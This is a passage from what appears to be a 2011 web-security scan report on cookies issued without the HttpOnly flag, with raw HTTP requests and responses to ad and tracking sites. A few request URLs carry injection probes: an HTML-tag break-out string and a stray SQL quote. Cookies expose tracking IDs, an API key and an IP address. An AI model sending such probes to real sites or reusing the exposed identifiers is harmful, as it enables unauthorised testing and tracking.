j@R!#eR5!!!!#<gj@R!#eVe!!!!#<jHAu!#elE!!!!#<k3!!!#f93!!!!#<gj@R!#fBj!!!!%<kI5F!#fBk!!!!%<kI5F!#fBm!!!!%<kI5F!#fBn!!!!%<kI5F!#fBu!!!!#<gj@R!#fG+!!!!%<kI5F!#fJ/!!!!#<gj@R!#fJw!!!!#<gj@R!#fK9!!!!#<gj@R!#fK>!!!!#<gj@R!#fdu!!!!#<k2yx!#fpW!!!!#<l/JY!#fpX!!!!#<l/JY!#fpY!!!!#<l/JY!#g'E!!!!#<gj@R!#g/7!!!!$<kI5F!#g<%!!!!#<gj@R!#gRx!!!!#<htU3!#g[h!!!!'<kdT!!#g]7!!!!#<l.yn!#g]9!!!!#<kjl4!#h.N!!!!#<kL2n!#jS>!!!!#<k_Jy!#ndJ!!!!#<k2yx!#ndP!!!!#<k2yx!#nda!!!!#<k2yx!#ne$!!!!#<k2yx!#p#b!!!!'<kdT!!#p]T!!!!$<kL2n"; ih="b!!!!9!(4vA!!!!#<kc#t!*09R!!!!#<l/M+!*gS^!!!!#<kI:#!+/Wc!!!!#<jbN?!+:d(!!!!#<htX7!+:d=!!!!$<hu%0!+kS,!!!!#<jbO@!->h]!!!!#<htSD!-g#y!!!!#<k:[]!.N)i!!!!#<htgq!.T97!!!!#<k:^)!.`.U!!!!'<kc#o!.tPr!!!!#<k`nL!/9uI!!!!#<k:]D!/H]-!!!!'<hu!d!/J`3!!!!#<jbND!/c)/!!!!#<h67=!/cr5!!!!#<kI5G!/o:O!!!!#<htU#!/poZ!!!!#<iLQk!/uG1!!!!#<jbOF!0>0V!!!!#<l/M."; lifb=ty?i)n!9.l%y_Qs7i<Qa@V'D?
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:24:16 GMT Server: YTS/1.18.4 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: BX=/; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT Set-Cookie: bh="b!!!#t!!'iQ!!!!#<htUa!!*$n!!!!#<htUa!!,D(!!!!#<kI5F!!-?2!!!!'<kI5F!!-yu!!!!%<hu%6!!.+B!!!!%<hu%:!!0!j!!!!%<kI5F!!0+@!!!!$<jb`/!!04a!!!!$<jb`/!!1CD!!!!#<k2yw!!1Mv!!!!#<hfYB!!1SP!!!!$<ie@u!!2(x!!!!$<kI5F!!4<u!!!!%<kI5F!!4d6!!!!#<jbN=!!5i*!!!!#<himW!!?VS!!ErC<k0fB!!J>N!!!!#<k2yx!!KNF!!ErC<k0fB!!L(*!!!!#<h67=!!L_w!!!!'<kdT!!!Mr(!!ErC<k0fB!!OgU!!!!$<kI5F!!Zwb!!!!#<kI5F!!`Yp!!!!#<htUb!!fP+!!!!#<k`g7!!iEC!!!!#<kI5F!!iEb!!!!%<kI5F!!qOs!!!!#<htUb!!qOt!!!!#<htUb!!qOu!!!!#<htUb!!r-X!!!!#<iMv0!!s6R!!!!#<htUb!!s9!!!!!#<jc#c!!v:e!!!!$<kI5F!!y]X!!!!#<k11E!!ys+!!!!$<h2ED!###_!!!!#<j?lI!##lo!!!!#<jbO@!#$=X!!!!#<gj@R!#')-!!!!#<k2yx!#*VS!!!!#<jLPe!#+]S!!!!$<kI5F!#-B#!!!!#<l.yn!#-vv!!!!$<iC/K!#.dO!!!!'<kdT!!#/yX!!!!#<k2yx!#0$b!!!!%<hu%0!#15#!!ErC<k0fB!#15$!!ErC<k0fB!#1=E!!!!#<kI4S!#2`q!!!!#<jc#g!#3pS!!!!#<jHAu!#3pv!!!!#<jHAu!#5(X!!!!#<jLPe!#5(Y!!!!#<l.yn!#5(`!!!!#<jLPe!#5(b!!!!#<kI3?!#5(f!!!!#<kI4S!#5m!!!!!#<k2yx!#5mH!!!!#<k2yx!#7(x!!!!'<kI5F!#8:i!!!!#<jc#c!#8A2!!!!#<k11E!#:dW!!!!#<gj@R!#<T3!!!!#<jbNC!#I=D!!!!#<kjhR!#K?%!!!!#<l8V)!#Kbb!!!!#<jLP/!#LI/!!!!#<k2yw!#LI0!!!!#<k2yw!#MP0!!!!#<jLPe!#MTC!!!!'<l/M+!#MTF!!!!'<l/M+!#MTH!!!!'<l/M+!#MTI!!!!'<l/M+!#MTJ!!!!'<l/M+!#OC2!!!!#<l/M+!#P<=!!!!#<kQRW!#PrV!!!!#<kQRW!#Q+o!!!!'<kdT!!#Qh8!!!!#<l.yn!#RY.~~!#Ri/!!!!'<kdT!!#Rij!!!!'<kdT!!#SCj!!!!$<kcU!!#SCk!!!!$<kdT!!#SUp!!!!$<kI5F!#SjO!!!!#<gj@R!#SqW!!!!#<gj@R!#T#d!!!!#<k2yx!#TnE!!!!#<l/M+!#U5p!!!!#<gj@R!#UAO!!!!#<k2yx!#UDQ!!!!'<l/M+!#W^8!!!!#<jem(!#X)y!!!!#<jem(!#X]+!!!!'<kdT!!#ZPo!!!!#<ie2`!#ZhT!!!!'<kI5F!#Zmf!!!!$<kT`F!#]!g!!!!#<gj@R!#]Ky!!!!#<gj@R!#]W%~~!#^0$!!!!$<kI5F!#^0%!!!!$<kI5F!#^Bo~~!#_0t!!!!%<kTb(!#`SX!!!!#<gj@R!#aG>!!!!'<kdT!!#aM'!!!!#<kp_p!#av4!!!!#<iLQl!#b<[!!!!#<jHAu!#b<]!!!!#<jLPi!#b<^!!!!#<jHAu!#b<d!!!!#<jLPi!#b<e!!!!#<l.yn!#b<g!!!!#<kI4S!#b<i!!!!#<jLPe!#b<j!!!!#<jHAu!#b<w!!!!#<jHAu!#b=K!!!!#<l.yn!#b?A!!!!#<l.x@!#b](!!!!#<gj@R!#b`>!!!!#<jc#Y!#b`?!!!!#<jc#Y!#b`@!!!!#<jc#Y!#c8D!!!!#<gj@R!#cC!!!!!#<ie2`!#e@W!!!!#<k_2)!#ePa!!!!#<gj@R!#eR5!!!!#<gj@R!#eVe!!!!#<jHAu!#elE!!!!#<k3!!!#f93!!!!#<gj@R!#fBj!!!!%<kI5F!#fBk!!!!%<kI5F!#fBm!!!!%<kI5F!#fBn!!!!%<kI5F!#fBu!!!!#<gj@R!#fG+!!!!%<kI5F!#fJ/!!!!#<gj@R!#fJw!!!!#<gj@R!#fK9!!!!#<gj@R!#fK>!!!!#<gj@R!#fdu!!!!#<k2yx!#fpW!!!!#<l/JY!#fpX!!!!#<l/JY!#fpY!!!!#<l/JY!#g'E!!!!#<gj@R!#g/7!!!!$<kI5F!#g<%!!!!#<gj@R!#gRx!!!!#<htU3!#g[h~~!#g]7!!!!#<l.yn!#g]9!!!!#<kjl4!#h.N!!!!#<kL2n!#jS>!!!!#<k_Jy!#ndJ!!!!#<k2yx!#ndP!!!!#<k2yx!#nda!!!!#<k2yx!#ne$!!!!#<k2yx!#p#b~~!#p]T!!!!$<kL2n"; path=/; expires=Thu, 31-Jan-2013 15:24:16 GMT Set-Cookie: lifb=%y_Qs7i<Qa5p0/:; path=/; expires=Wed, 02-Feb-2011 20:10:40 GMT Cache-Control: no-store Last-Modified: Tue, 01 Feb 2011 15:24:16 GMT Pragma: no-cache Content-Length: 43 Content-Type: image/gif Age: 0 Proxy-Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /aclk HTTP/1.1 Host: adclick.g.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /adserver/vdi/762701?d=D8DB51BF08484217F5D14AB47F4002AD HTTP/1.1 Host: ads.adbrite.com Proxy-Connection: keep-alive Referer: http://www.ehow.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: Apache=168362173x0.688+1294536261x899753879; cv=1%3Aq1ZyLi0uyc91zUtWslIySyktr0nPLLDMMi8zrjGwMswuNjMusjK0MlCqBQA%3D; ut=1%3Aq1YqM1KyqlbKTq0szy9KKVayUsotTzQprDHMLja3sKwxrTE0z9dJzsiwSC%2BoysmrMczJSS%2BqqjGsMYAJZuUgCSrpKCUl5uWlFmWCjVKqrQUA; rb="0:712156:20822400:6ch47d7o8wtv:0:742697:20828160:3011330574290390485:0:753292:20858400:CA-00000000456885722:0:762701:20861280:D8DB51BF08484217F5D14AB47F4002AD:0:806205:20861280:21d8e954-2b06-11e0-8e8a-0025900870d2:0"
Response
HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif Date: Wed, 02 Feb 2011 15:11:19 GMT Expires: Mon, 26 Jul 1997 05:00:00 GMT P3P: policyref="http://files.adbrite.com/w3c/p3p.xml",CP="NOI PSA PSD OUR IND UNI NAV DEM STA OTC" Server: Apache-Coyote/1.1 Set-Cookie: vsd="0@1@4d497418@www.ehow.com"; Version=1; Domain=.adbrite.com; Max-Age=172800; Path=/ Set-Cookie: srh=1%3Aq64FAA%3D%3D; Domain=.adbrite.com; Expires=Thu, 03-Feb-2011 15:11:20 GMT; Path=/ Content-Length: 42
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /select/Login?sourceid=awo&subid=us-en-et-symh&medium=link&hl=en HTTP/1.1 Host: adwords.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /v1/profile.json?api_key=6332f8b7316a4d1284e9c1217a367347&callback=Demdex.parseBizo HTTP/1.1 Host: api.bizographics.com Proxy-Connection: keep-alive Referer: http://fast.dm.demdex.net/dm-dest.html?bizo=1&bizovalidttl=7& Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: BizoID=675ee53a-bc80-4e01-aa24-ca467accf61f; BizoData=vipSsUXrfhMAyjSpNgk6T39Qb1MaQBj6WQYgisqeiidjQcqwKPXXDYVmkoawipO0Dfq1j0w30sQL9madkf8kozH7KbEYt9Gm0axhaj5XcunNcMDa7Re6IGD4lDrbCisip76D66Ad6xyMUDLG5gCh8GmE4wmnnS9ty8xAR0zwQvdHhisgnnwCNICmFKGa4RXxZnzMYL5lop56fA3rHonFMZ1E3OcisUUeXmc77bBFklv3wQQEmtRXq0x1X4kUBB3CBHNXcl3bEVUJBxdqAyDalXCEoKjwKKB7uI3cisSEIeS2mCWkomhIipNN9QFd9eD8AHJR2FGdEz1hYSFbR3chAU2xWtyvDfXYqVKvKL6ku8zbNip0rRSsokcAYJy1mH2jGbDneEWVJTB2iiSz7mTslQLR60k3zySHYwieie
Response
HTTP/1.1 200 OK Cache-Control: no-cache Content-Type: application/json Date: Wed, 02 Feb 2011 15:11:22 GMT P3P: CP="NON DSP COR CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM" Pragma: no-cache Server: nginx/0.7.61 Set-Cookie: BizoID=675ee53a-bc80-4e01-aa24-ca467accf61f;Version=0;Domain=.bizographics.com;Path=/;Max-Age=15768000 Set-Cookie: BizoData=vipSsUXrfhMAyjSpNgk6T39Qb1MaQBj6WQYgisqeiidjQcqwKPXXDYVmkoawipO0Dfq1j0w30sQL9madkf8kozH7KRShFj6bKbiijaj5XcunNcMDa7Re6IGD4lLFCw41jWbyOAd6xyMUDLG5gCh8GmE4wmnnS9ty8xAR0zwQvdHhisgnnwCNICmFKGa4RXxZnzMYL5lop56fA3rHonFMZ1E3OcisUUeXmc77bBFklv3wQQEmtT8sOM0TiiisRAyMfy5dfAVhDEVUJBxdqAyAsVh4uYPLmIgwbisDgBSipgnUuNumFpPoipAipNN9QFd9eD8AHJR2FGdEz1hYSFbR3chAU2xWtyvDfXYqVKvKL6ku8zbNip0rRSsokcAYJy1mH2jGbDneEWVJTB2iiSz7mTslQLR60k3zySHYwieie;Version=0;Domain=.bizographics.com;Path=/;Max-Age=15768000 Content-Length: 165 Connection: keep-alive
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b?c1=8&c2=6036297&rn=974371644&c7=http%3A%2F%2Fwww.montanaplates.com%2F880540-Twitter-Tweets-about-Llc-as-of-January-20-2011.html&c3=12345678&c8=Twitter%20Tweets%20about%20Llc%20as%20of%20January%2020%2C%20201&cv=2.2&cs=js HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Referer: http://www.montanaplates.com/880540-Twitter-Tweets-about-Llc-as-of-January-20-2011.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 204 No Content Content-Length: 0 Date: Tue, 01 Feb 2011 14:28:14 GMT Connection: close Set-Cookie: UID=1f00d615-24.143.206.88-1294170954; expires=Thu, 31-Jan-2013 14:28:14 GMT; path=/; domain=.scorecardresearch.com P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID OUR IND COM STA OTC" Expires: Mon, 01 Jan 1990 00:00:00 GMT Pragma: no-cache Cache-Control: private, no-cache, no-cache=Set-Cookie, no-store, proxy-revalidate Server: CS
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /blog.php?post=382978412130 HTTP/1.1 Host: blog.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: datr=Fq5JTSw9c381ZCmsmGv_p6Xn; expires=Fri, 01-Feb-2013 19:18:46 GMT; path=/; domain=.facebook.com; httponly Set-Cookie: lsd=i0PHb; path=/; domain=.facebook.com Set-Cookie: reg_fb_gate=http%3A%2F%2Fblog.facebook.com%2Fblog.php%3Fpost%3D382978412130; path=/; domain=.facebook.com Set-Cookie: reg_fb_ref=http%3A%2F%2Fblog.facebook.com%2Fblog.php%3Fpost%3D382978412130; path=/; domain=.facebook.com Content-Type: text/html; charset=utf-8 Connection: close Date: Wed, 02 Feb 2011 19:18:46 GMT Content-Length: 30164
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: blog.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 MOVED PERMANENTLY Location: http://www.orbitz.com/blog/ Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660;path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /blogsearch HTTP/1.1 Host: blogsearch.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<html><head><meta HTTP-EQUIV="content-type" content="text/html; charset=UTF-8"><meta description="Google Blog Search provides fresh, relevant search results from millions of feed-enabled blogs. Users ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: books.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:30:32 GMT Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=4abc8d19f12bc81a:TM=1296574232:LM=1296574232:S=ngidMyE0rUGptvZ6; expires=Thu, 31-Jan-2013 15:30:32 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Server: OFE/0.1 Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /books HTTP/1.1 Host: books.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:30:31 GMT Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=0c90630420770629:TM=1296574231:LM=1296574231:S=mhwvdWjwMbFHKvE5; expires=Thu, 31-Jan-2013 15:30:31 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Server: OFE/0.1 Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /BurstingPipe/ActivityServer.bs?cn=as&ActivityID=96597&rnd=909797.7089695632 HTTP/1.1 Host: bs.serving-sys.com Proxy-Connection: keep-alive Referer: http://offers.lendingtree.com/splitter/splitter.ashx?id=msnhptext12111&promo=00313&source=4666360&esourceid=4666360&800Num=1-800-289-1731'&adtype=2 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: u3=1; C4=; A3=f+JvabEk02WG00002h5iUabNz07l00000Qh5j3abNz07l00000.gn3Ka4JO09MY00001gNfHaaiN0aVX00001fU+La50V0a+r00001fUFGa50V02WG00001gy3.ach00c9M00001cRreabeg03Dk00001gy7La9bU0c9M00003gy5Da9bU0c9M00001gCTVa9bU0c9M00001gvKEacgY0c9M00001ge4Gack+0bM000001ge4Hack+0bM000001; B3=7lgH0000000001sG89PS000000000QsZ89PT000000000.sZ852G0000000003sS7dNH0000000002sZ7GHq0000000001s.7FCH0000000001s.83xP0000000001sF8cVQ0000000001sV852N0000000001s.87ma0000000001s.6o.Q0000000001sY7gi30000000001sG852z0000000001sS852A0000000001sS; u2=1b39b065-3668-4ab4-a4dc-a28fe9442aaf3G601g; eyeblaster=BWVal=408&BWDate=40573.510532&debuglevel=&FLV=10.1103&RES=128&WMPV=0
Response
HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: Sun, 05-Jun-2005 22:00:00 GMT Vary: Accept-Encoding Set-Cookie: ActivityInfo=000p81bBo%5f; expires=Tue, 03-May-2011 10:43:37 GMT; domain=.serving-sys.com; path=/ Set-Cookie: u2=1b39b065-3668-4ab4-a4dc-a28fe9442aaf3G601g; expires=Tue, 03-May-2011 10:43:37 GMT; domain=.serving-sys.com; path=/ P3P: CP="NOI DEVa OUR BUS UNI" Date: Wed, 02 Feb 2011 15:43:37 GMT Connection: close Content-Length: 1639
var part0 = ''; part0 += "<"+"!--- start of TRACK_Lendingtree/Retargeting_Homepage_Nonsecure pixel tag --->\n"; part0 += "<"+"IMG SRC=\"http://network.realmedia.com/RealMedia/ads/adstream_nx.ads/TRAC ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /browseresources/articles/firststeps.aspx HTTP/1.1 Host: businessonmain.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:30:38 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA55 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=85eb2c05b28e495690c312b9224a01fa; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=309A03F95CDC491FB935911E37ED14DA; domain=.msn.com; expires=Sat, 20-Aug-2011 15:30:38 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 35944
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><noscript><m ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /browseresources/articles/managingemployees.aspx?cp-documentid=26643311&source=msneditorial>1=25049 HTTP/1.1 Host: businessonmain.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:30:41 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA51 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=49639c13297e45b088d53cc2947d18eb; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=BFF6A2643B34482D9EFC461635B43FB3; domain=.msn.com; expires=Sat, 20-Aug-2011 15:30:41 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 48599
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><noscript><m ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /questions/default.aspx HTTP/1.1 Host: businessonmain.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:30:34 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA55 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=c5c42e124cd54cec96e54f5910b325c1; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=8088F9A7C2D749B8B22FA419A3CEDF24; domain=.msn.com; expires=Sat, 20-Aug-2011 15:30:34 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 32370
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><noscript><m ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /videos/coolrunnings.aspx HTTP/1.1 Host: businessonmain.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:30:33 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA49 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=c9503258c9294a319d8b55c4818f5954; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=CED44E4F52CF4A00855E3594E951B8B7; domain=.msn.com; expires=Sat, 20-Aug-2011 15:30:33 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 70167
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><noscript><m ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
_t=1686ac5e-2ee8-11e0-b7c7-00259009a9c2; Domain=chango.com; expires=Sat, 30 Jan 2021 16:18:36 GMT; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /collector/tag.js HTTP/1.1 Host: c.chango.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 16:18:36 GMT Content-Type: text/javascript Connection: close Content-Length: 1278 Server: TornadoServer/1.1 Etag: "0cd5cb47552a6946cb3570ced2fb9b2b235cf185" Pragma: no-cache Cache-Control: no-cache, no-store, max-age=0, must-revalidate P3P: policyref="http://as.chango.com/static/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: _t=1686ac5e-2ee8-11e0-b7c7-00259009a9c2; Domain=chango.com; expires=Sat, 30 Jan 2021 16:18:36 GMT; Path=/ Set-Cookie: _i_admeld=1; Domain=chango.com; expires=Tue, 03 May 2011 16:18:36 GMT; Path=/
(new Image()).src = 'http://tag.admeld.com/match?admeld_adprovider_id=333&external_user_id=' + encodeURIComponent('1686ac5e-2ee8-11e0-b7c7-00259009a9c2');(new Image()).src = 'http://bid.openx.net/cm?p ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /t.php?sc_project=6453865&resolution=1920&h=1200&camefrom=http%3A//burp/show/10&u=http%3A//consumershealthyliving.com/clinical-study.html%3F15882%2522%253E%253Ca%253E3a9ae0f5291%3D1&t=Study%3A%20Wrinkles%20Gone!%2090%20Seconds&java=1&security=34ced6a6&sc_random=0.5129681851249188&sc_snum=1&invisible=1 HTTP/1.1 Host: c.statcounter.com Proxy-Connection: keep-alive Referer: http://consumershealthyliving.com/clinical-study.html?15882%22%3E%3Ca%3E3a9ae0f5291=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: is_unique=sc609958.1294848674.1-2495334.1296072601.0-1890207.1296398873.0
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:40:35 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.10 P3P: policyref="http://www.statcounter.com/w3c/p3p.xml", CP="ADMa OUR COM NAV NID DSP NOI COR" Expires: Mon, 26 Jul 1997 05:00:00 GMT Set-Cookie: is_unique=sc609958.1294848674.1-2495334.1296072601.0-1890207.1296398873.0-6453865.1296661235.0; expires=Mon, 01-Feb-2016 15:40:35 GMT; path=/; domain=.statcounter.com Content-Length: 49 Connection: close Content-Type: image/gif
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ver1.0/Direct/DirectProxy HTTP/1.1 Host: cdn-sitelife.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
S=s=8lk0vnt6kg9d2&t=1296573858;path=/; expires=
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
